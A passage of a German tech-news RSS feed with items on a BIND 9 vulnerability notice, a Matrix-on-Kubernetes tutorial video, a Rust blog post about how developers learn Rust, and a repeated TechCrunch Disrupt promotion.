This vulnerability is documented as CVE-2026-12617...]]></description>
<link>https://tsecurity.de/de/3694010/sicherheitsluecken/cve-2026-12617-isc-bind-9-up-to-9185091850-s19202492024-s1-named-input-validation-nessus-id-329500/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694010/sicherheitsluecken/cve-2026-12617-isc-bind-9-up-to-9185091850-s19202492024-s1-named-input-validation-nessus-id-329500/</guid>
<pubDate>Sat, 25 Jul 2026 16:02:33 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/isc:bind_9">ISC BIND 9 up to 9.18.50/9.18.50-S1/9.20.24/9.20.24-S1</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality of the component <em>named</em>. The manipulation leads to improper input validation.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-12617">CVE-2026-12617</a>. The attack can be initiated remotely. There is not any exploit available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Tutorials #15 – Matrix on Kubernetes]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 20x - Views:334 A few years ago we deployed Matrix with docker-compose. Now, let's give it a go on Kubernetes!

00:00 Introduction
01:40 Kubernetes Makes Things Simple
04:59 Getting Started
06:21 Installing Kubernetes
14:41 Deploying and Removing a Wordpress
20:5...]]></description>
<link>https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:07 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 20x - Views:334 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mMsyF3bQqWs?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>A few years ago we deployed Matrix with docker-compose. Now, let&#039;s give it a go on Kubernetes!<br />
<br />
00:00 Introduction<br />
01:40 Kubernetes Makes Things Simple<br />
04:59 Getting Started<br />
06:21 Installing Kubernetes<br />
14:41 Deploying and Removing a Wordpress<br />
20:53 Deploying A Matrix Stack<br />
31:02 More Services Almost For Free<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Sat, 25 Jul 2026 05:51:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Fri, 24 Jul 2026 19:56:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



